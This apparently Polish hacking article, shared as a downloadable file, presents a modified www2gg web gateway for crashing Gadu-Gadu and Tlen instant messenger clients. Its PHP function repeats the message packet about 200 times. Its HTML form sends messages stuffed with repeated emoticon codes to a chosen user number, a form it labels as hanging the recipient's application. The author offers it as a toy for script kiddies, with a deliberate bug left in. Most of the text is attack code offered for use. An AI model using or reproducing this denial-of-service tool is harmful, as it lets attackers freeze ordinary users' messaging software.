GG.doc

(19 KB) Pobierz
GG-DOS

GG-DOS


Jak juz pewnie wszyscy slyszeli w gg i tlenie jest luka (duzo obrazkow= duze obciazenie cpu)==zawieszenie komunikatora

w tym arcie chce tylko zaprezentowac zmodyfikowana bramke www2gg jako pewna rodzaju zabawke dla script kiddies , jednakrze umieszczam w niej blad ktory kazdy programista odrazu poprawi...

oto kod zmienionej funkcji

Kod:


###################
#to nas interesuje#
###################
 function wyslij_wiadomosc($adresat, $tresc, $potwierdzenie = TRUE);
 {
   $tresc = txt::iso2cp($tresc);
   $seq = mt_rand();
   
   $data = pack("VVVVVa".strlen($tresc)."C", GG_SEND_MSG, 0x0d + strlen($tresc), $adresat,
            $seq,  ($potwierdzenie)?GG_CLASS_MSG:GG_CLASS_MSG | GG_CLASS_ACK, $tresc, 0);
   $this->Debug("Wyslano pakiet wiadomo¶ci : ".bin2hex($data), $data);
   
   $this->status_dostarczenia[$seq] = FALSE; //zmieni sie przy otrzymaniu potwierdzenia
   for($z=2;$z<=200;$z++){
   fwrite($this->fp, $data);
   }
   if (!fwrite($this->fp, $data))
     return FALSE;

 return $seq;
 }
####################
#koniec tej funkcji#
####################




teraz kod index.html:

Kod:


<HTML>
<HEAD>
<TITLE>Bramka www2gg</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
</HEAD>

<BODY>
<div align="left"></div>
<FORM NAME="www2gg" METHOD="post" ACTION="www2gg.php">
 <P ALIGN="LEFT"> SKRYPT ZAWIESZA APLIKACJE ODBIORCY ;] <BR>

   <BR>
   Odbiorca :
   <INPUT TYPE="text" NAME="adresat" MAXLENGTH="7" SIZE="7" VALUE="">
<br><select name="tresc"><option value=":*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:  *:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:  *:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:  *:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*:*">  gadu gadu
</option><option value="<UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH&  gt;<UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH>&  lt;UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH><U  ŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH><UŚMIE  CH><UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH&g  t;<UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH>&l  t;UŚMIECH><UŚMIECH><UŚMIECH><UŚMIECH><UŚ  MIECH><UŚMIECH><UŚMIECH><UŚMIECH><UŚMIEC  H><UŚMIECH><UŚMIECH>">TLEN</option></  select>
   <INPUT TYPE="submit" NAME="Submit" VALUE="Wyslij">
 </P>
 <P ALIGN="LEFT"><BR>
 </P>
</FORM>
<P> </P>
</BODY>
</HTML>



i to by bylo na tyle...

...
Zgłoś jeśli naruszono regulamin